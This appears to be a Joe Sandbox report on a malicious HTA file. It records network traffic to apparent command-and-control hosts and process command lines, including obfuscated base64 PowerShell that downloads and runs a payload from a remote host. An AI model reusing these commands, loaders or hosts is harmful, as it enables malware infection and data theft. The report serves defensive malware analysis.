2025-01-09 08:33:17 UTC	15331	OUT	Data Raw: f2 96 13 cc 9c a0 91 a0 3a 93 13 0f 28 0d 56 05 c6 e1 1e f9 b0 92 e0 e2 fb 80 49 87 79 fc 91 17 22 0d 4e 51 bf 65 8f 10 3f 24 98 db 86 79 71 de b3 4b 8b e5 5a 1e 6c 9a 97 4f 1b 4d d2 4b fe 9d 15 47 99 bb 44 5e a0 de ec dc 75 d2 90 e1 f4 a1 f6 4e aa e2 32 43 37 93 5e 22 6a 74 25 64 f6 2b b9 2e a8 58 a7 f6 a7 88 9a 4a dc 07 7b 58 17 eb e7 05 3e 62 13 9d ce 63 32 4c f5 4a f0 2e 9a f8 b5 43 47 c3 1c 8f 24 0e 91 4e 8d cd 50 a6 b5 6a c5 ea 7c df e7 dc dd 3b 20 f1 f8 0d 55 6b 9b c8 1b 51 84 d9 9b af 6b 35 10 7e 04 40 2a 63 7e 58 27 9f 41 e9 61 1b e7 9f 28 03 7a 99 39 97 8a 7c 65 14 a1 f0 68 e2 74 d4 e6 ed 00 0d b5 66 e4 36 f6 e6 47 89 8f f4 95 9a 24 25 7e 70 58 57 bd d0 92 85 84 3d 30 70 3c 16 b2 5c a2 d8 13 51 1f 45 33 eb c1 42 30 7b 94 b6 84 18 55 68 51 46 0d Data Ascii: :(VIy"NQe?$yqKZlOMKGD^uN2C7^"jt%d+.XJ{X>bc2LJ.CG$NPj\|; UkQk5~@*c~X'Aa(z9\|ehtf6G$%~pXW=0p<\QE3B0{UhQF
2025-01-09 08:33:17 UTC	15331	OUT	Data Raw: 1f 49 45 8d ab 05 41 84 78 95 4a b4 49 da 61 f0 70 de 29 60 eb 6d e3 0c 79 7a f2 c7 e1 35 85 97 b3 91 cb 5a e4 84 21 f4 46 4e a0 dc 60 a5 0e 14 f6 84 4b 42 49 af 69 a3 70 f7 ce 69 3f e5 ae 60 90 4b 78 02 17 fc f7 89 03 e1 7d 24 c6 50 4c b4 cc 32 51 65 8c fb 3a 14 15 1a 7e 94 11 ca d5 22 0c 33 c4 16 19 d6 47 5d af 1b 59 39 61 b6 a2 16 b0 3f cf d1 a7 58 16 09 4e 2f 03 3d cc 54 b2 67 2b 77 78 d6 fa 93 2a 57 24 a6 d4 6a cb d0 71 22 ae 0d a5 5b a2 50 9d f8 23 4a 91 60 58 b3 16 17 31 8e 1c bb c6 df d0 e3 63 7f 05 6f 60 e5 3c 64 e1 84 d8 18 16 ff c8 f0 23 27 e1 10 86 58 8b d9 c4 9e 7b 6b f6 8a e1 c1 47 f6 2c de 90 9b c8 f3 6c 22 97 6c 5f 86 5e 34 19 a9 2e 70 4c cc 8c ba 22 5d 56 07 24 fa 82 37 d1 08 ee d2 8a 4d f9 d0 5b 55 2e 7e 7a 2f 8a 92 40 e7 9d c0 e3 16 cf Data Ascii: IEAxJIap)`myz5Z!FN`KBIipi?`Kx}$PL2Qe:~"3G]Y9a?XN/=Tg+wx*W$jq"[P#J`X1co`<d#'X{kG,l"l_^4.pL"]V$7M[U.~z/@
2025-01-09 08:33:17 UTC	15331	OUT	Data Raw: 07 3c e6 b8 31 7d 0d f7 48 3e 65 f0 a8 c1 b9 9c d8 f4 73 c3 ac db 6f 91 ce 32 85 c7 1a 0a 21 c1 f2 a8 95 fb db c9 c9 51 e5 21 fd c4 a2 2f b5 af 59 d6 53 37 9b 52 dc d4 f9 e9 f9 91 57 c2 52 0e c6 f4 2d 1b b7 2c 7e 41 fe 1d a4 3b 36 ab 47 0f 62 89 0e 62 c2 28 32 cc b8 31 97 a6 5e 2e f2 5d c7 8d f8 f6 36 8f 09 d0 35 aa b9 be 07 88 6d 40 27 16 ee fc 6d b6 cc 18 38 2f 7a 7d 73 95 61 b9 ac a8 27 6a 67 97 4d cc 12 01 2b aa 44 2f af 31 89 1f 95 75 ed 81 b3 10 5c f5 38 c9 92 ac de 23 70 7f 04 1a fb 8d 80 6d f4 6b d9 c6 8c 3d 40 30 cb b4 1b 11 9f 2e ce 73 92 2c 39 25 8f 7f 16 a9 69 88 5f d0 87 eb 97 f8 c0 97 c8 82 8a 3b 70 a8 f0 11 5a 82 2a b0 9b f9 3b fe 8c dd 91 83 ef fc 0f 71 96 5f 1f 3f 6e 9b 3d 76 f2 61 a4 79 28 cd 16 22 4f d4 25 3f 78 ad 06 84 de 1c a6 c8 43 Data Ascii: <1}H>eso2!Q!/YS7RWR-,~A;6Gbb(21^.]65m@'m8/z}sa'jgM+D/1u\8#pmk=@0.s,9%i_;pZ*;q_?n=vay("O%?xC
2025-01-09 08:33:17 UTC	15331	OUT	Data Raw: 97 94 31 a0 78 ce 10 22 d0 d3 b5 98 e6 14 14 62 f3 e7 24 70 de 93 e2 56 e3 83 be 6a e6 b4 18 ad 26 e4 1a 00 a2 9f 50 cd 9c 98 f1 de a0 5e 91 36 bd 59 1f 44 a4 11 69 7a 4a 5b 34 7e 77 92 24 ef 4d 1f 0d 0d 94 7f e5 5e 88 c8 ae 7e 10 2e 95 c3 42 f2 35 71 cc 15 1d eb c5 10 ef a7 cb c6 78 27 47 e8 c3 7c af 16 f2 3d 07 38 3d 45 70 a8 0f 4a cf 9f d0 69 e5 79 78 25 2c f3 f4 1e 36 10 08 e6 e2 78 37 6b 6a 15 81 e4 11 2a 95 cd 4c af 40 cc df 5f 85 be 89 c5 f5 87 fa 82 17 7d 73 67 3a 9a 5c d0 a1 3d bb c9 eb 8d c7 70 65 0c 57 85 c2 c6 90 7e 6c 9c ee 27 d9 d4 30 19 80 98 ae e5 3c dd 81 49 1e e5 63 ce a2 96 ea 83 c3 88 8d e1 b7 6d 77 5a 94 d9 11 a9 c3 03 6b 27 49 b7 42 05 b3 8d 4e 96 6b ea 28 97 eb 58 7a 09 72 6a 92 c7 2b ad b5 e6 72 04 ac 7a fe b5 00 44 78 76 7b 9e 51 Data Ascii: 1x"b$pVj&P^6YDizJ[4~w$M^~.B5qx'G\|=8=EpJiyx%,6x7kj*L@_}sg:\=peW~l'0<IcmwZk'IBNk(Xzrj+rzDxv{Q
2025-01-09 08:33:17 UTC	15331	OUT	Data Raw: 9f 19 88 f1 b1 18 80 63 d7 4f 62 90 da d8 23 ad 7c be 7a e5 8e 3e 2b dc 52 3d cc e0 00 10 9e 7f bb d5 5d 6b 54 5b 93 21 c1 d9 0e 5e 4c 09 14 22 d8 e4 ae d1 7b 46 f8 3d 67 1e 4f f8 16 71 f6 8a 59 72 eb 83 3b e4 e5 dd 8e b0 a6 40 59 77 9c 74 80 b5 c7 72 83 a0 7a 1b 8a ec 20 81 62 ba 8b c2 94 30 7f ec 26 7a 75 44 e3 53 78 de e8 cc c5 42 77 28 c3 d9 53 59 c2 13 a6 b9 ca cd 98 f7 44 7f 52 73 ab 8e 08 89 e1 ec 53 88 f5 8b 41 f2 64 8d 91 04 9f 0d bb c1 9a 67 02 a9 7f dc 07 e8 b1 a0 ee 4f 96 2a 83 f8 35 2e de 20 cc a0 8c 1d 20 d7 ca 92 3e e1 62 62 10 82 cb 4c f7 c3 4d 0e b2 d8 e3 cb a7 3e e1 20 c0 3f eb ed fe 59 3e 7b e3 f0 99 9b 2b 82 e0 cd 5e 9b be e8 6b a7 93 6d 04 98 09 e6 0c 03 dd 2d fc a6 08 ca a4 c4 36 41 dd fa ae 91 c4 d2 f6 e6 11 9d e7 15 f6 b2 cf f8 6a Data Ascii: cOb#\|z>+R=]kT[!^L"{F=gOqYr;@Ywtrz b0&zuDSxBw(SYDRsSAdgO*5. >bbLM> ?Y>{+^km-6Aj
2025-01-09 08:33:18 UTC	1137	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 08:33:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4q9v2834pgbe8flif6ojushko9; expires=Mon, 05 May 2025 02:19:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y%2F8LJ4lJpxgOpartPoj5suFyU6hOevVvo2cddnVF2ZTpAiyJnY9jxSzJ8CGuRsFmpY3PqjPiv367vPa3D3jXib3AR7g0lFwlj9yaQu%2Bqksgr0y2naAf5gsRC6a3Eq%2F92ilouWQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff314e1feaa72b9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1798&min_rtt=1794&rtt_var=681&sent=199&recv=587&lost=0&retrans=0&sent_bytes=2843&recv_bytes=572421&delivery_rate=1596500&cwnd=214&unsent_bytes=0&cid=d04501364072fd51&ts=1659&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	50001	104.21.32.1	443	8108	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 08:33:19 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 83 Host: hoppricerwir.cyou
2025-01-09 08:33:19 UTC	83	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 4a 45 63 61 47 2d 2d 73 69 6e 67 6c 37 26 6a 3d 26 68 77 69 64 3d 45 38 42 36 30 38 34 31 41 38 39 45 33 33 33 36 44 30 36 33 32 44 46 30 45 32 38 44 43 34 31 32 Data Ascii: act=get_message&ver=4.0&lid=yJEcaG--singl7&j=&hwid=E8B60841A89E3336D0632DF0E28DC412
2025-01-09 08:33:19 UTC	1135	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 08:33:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=82l8i8smaqst606l7ml0gs0i9u; expires=Mon, 05 May 2025 02:19:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZVd0jsEcMPbYLBV3k59seF91nTB34PmqFkJtNHNp%2BqD0tU%2Bt8WIkzkXyb1EFEtqiEIgAizog%2BgInmoZGpL%2BeABQb1Foox%2B3gsrAX87ZN7Pc15heOqE36d4HCZHaYoVQq%2FNTkWg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff314ef4cb41875-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1624&min_rtt=1622&rtt_var=613&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=984&delivery_rate=1777236&cwnd=153&unsent_bytes=0&cid=c03df15717418719&ts=440&x=0"
2025-01-09 08:33:19 UTC	54	IN	Data Raw: 33 30 0d 0a 73 71 44 36 67 51 45 42 4b 71 62 32 69 4d 30 50 68 74 79 50 34 4f 61 54 56 45 55 43 7a 55 54 63 63 4a 51 79 6a 7a 38 30 4d 6d 2f 70 2f 51 3d 3d 0d 0a Data Ascii: 30sqD6gQEBKqb2iM0PhtyP4OaTVEUCzUTccJQyjz80Mm/p/Q==
2025-01-09 08:33:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	03:31:10
Start date:	09/01/2025
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	mshta.exe "C:\Users\user\Desktop\s7.mp4.hta"
Imagebase:	0x910000
File size:	13'312 bytes
MD5 hash:	06B02D5C097C7DB1F109749C45F3F505
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	03:31:11
Start date:	09/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gU0xxKCRKRnhLeW5pail7DQooKCRKRnhLeW5paiAtc3BsaXQgJyg/PD1cRy4uKSd8JXskTHFsRlpScy5TdWJTdHJpbmcoMywxMDApWyRfXX0pICAtam9pbiAnJyAtcmVwbGFjZSAiLiQiKX07JExxbEZaUnMgPSdpZXhkT0pjeX5fNEc1X31nQUZtLUAwcHFZLnhCKW9oS2xRTHRCdS5XJVxhTW9JVEh7OjE2dlZlLypjeDdrdENYU3c7Um5pUXMwNEQjKDBOOWwyXCJmRTNyNWJ7IlJaOFV7MGp6UHZDNzU1MTU4MjIzNjUxODY5OTc3NjY1MTY1NTgn')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQUFJQUF0QUVNQWJ3QnRBRzBBWVFCdUFHUUFJQUJnQUNJQWFRQmxBSGdBSUFBb0FDZ0FUZ0JsQUhjQUxRQlBBR0lBYWdCbEFHTUFkQUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFUZ0JsQUhRQUxnQlhBR1VBWWdCREFHd0FhUUJsQUc0QWRBQXBBQzRBUkFCdkFIY0FiZ0JzQUc4QVlRQmtBRk1BZEFCeUFHa0FiZ0JuQUNnQUp3Qm9BSFFBZEFCd0FITUFPZ0F2QUM4QWN3QTNBQzRBYXdCc0FHa0FjQUJrQUhrQWR3QnZBSG9BYVFCNUFDNEFjd0JvQUc4QWNBQXZBR2dBZFFCckFHc0FOd0F1QUdvQWNBQmxBR2NBSndBcEFDa0FZQUFpQUNJQUlBQXRBRmNBYVFCdUFHUUFid0IzQUZNQWRBQjVBR3dBWlFBZ0FFZ0FhUUJrQUdRQVpRQnVBQT09Oy4gJGVudjpUZW1wXGEucHMxOyBmdW5jdGlvbiBKRnhLeW5paigpe2Z1bmN0aW9uIHZvck9jKCRlUFNySlpLKXtpZighKFRlc3QtUGF0aCAtUGF0aCAkSW5MKSl7Y3VybCAoU0xxICRlUFNySlpLKSAtbyAkSW5MfX19SkZ4S3luaWo7')))
Imagebase:	0xe00000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	03:31:11
Start date:	09/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	03:31:14
Start date:	09/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /k start powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==;. $env:Temp\a.ps1; function JFxKynij(){function vorOc($ePSrJZK){if(!(Test-Path -Path $InL)){curl (SLq $ePSrJZK) -o $InL}}}JFxKynij;"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	03:31:14
Start date:	09/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==;. $env:Temp\a.ps1; function JFxKynij(){function vorOc($ePSrJZK){if(!(Test-Path -Path $InL)){curl (SLq $ePSrJZK) -o $InL}}}JFxKynij;"
Imagebase:	0xe00000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:31:14
Start date:	09/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:31:14
Start date:	09/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==
Imagebase:	0xe00000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:31:15
Start date:	09/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))"
Imagebase:	0xe00000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:31:15
Start date:	09/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	03:32:48
Start date:	09/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
Imagebase:	0xe00000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	03:33:16
Start date:	09/01/2025
Path:	C:\Windows\System32\backgroundTaskHost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppX4325622ft6437f3xfywcfxgbedfvpn0x.mca
Imagebase:	0x7ff7429e0000
File size:	19'776 bytes
MD5 hash:	DA7063B17DBB8BBB3015351016868006
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 061B0FBF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4611740544.00000000061B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61b0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
Instruction ID: 71448b644154e579e3d49de91e8d5824829e22e0c1b86f5850c62edecff112b0
Opcode Fuzzy Hash: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
Instruction Fuzzy Hash:

Function 061B0FB7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4611740544.00000000061B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61b0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
Instruction ID: 71448b644154e579e3d49de91e8d5824829e22e0c1b86f5850c62edecff112b0
Opcode Fuzzy Hash: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
Instruction Fuzzy Hash:

Function 061B0FAF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4611740544.00000000061B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61b0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
Instruction ID: 71448b644154e579e3d49de91e8d5824829e22e0c1b86f5850c62edecff112b0
Opcode Fuzzy Hash: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
Instruction Fuzzy Hash:

Function 061B0FCF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4611740544.00000000061B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61b0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
Instruction ID: 71448b644154e579e3d49de91e8d5824829e22e0c1b86f5850c62edecff112b0
Opcode Fuzzy Hash: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
Instruction Fuzzy Hash:

Function 061B0FC7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4611740544.00000000061B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61b0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
Instruction ID: 71448b644154e579e3d49de91e8d5824829e22e0c1b86f5850c62edecff112b0
Opcode Fuzzy Hash: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
Instruction Fuzzy Hash:

Function 061B0FE7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4611740544.00000000061B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61b0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
Instruction ID: 71448b644154e579e3d49de91e8d5824829e22e0c1b86f5850c62edecff112b0
Opcode Fuzzy Hash: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
Instruction Fuzzy Hash:

Analysis Process: powershell.exePID: 5820, Parent PID: 4328COMMON

Executed Functions

Function 04B67AC6 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4615708841.0000000004B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c32d8ab7f418f52cae0c6dc55b573b14a3aab47e2bf4f5731a0730f897a39e8
Instruction ID: 089f82a32cf4e74ada2d533c48038c5232aac3eb60fd4b7df9f1e6e1e6534135
Opcode Fuzzy Hash: 4c32d8ab7f418f52cae0c6dc55b573b14a3aab47e2bf4f5731a0730f897a39e8
Instruction Fuzzy Hash: 31716C34A00209DFDB14DFA4D494AADBBF6FF88348F248469D412AB3A4DF75AD46CB41

Function 04B674C0 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

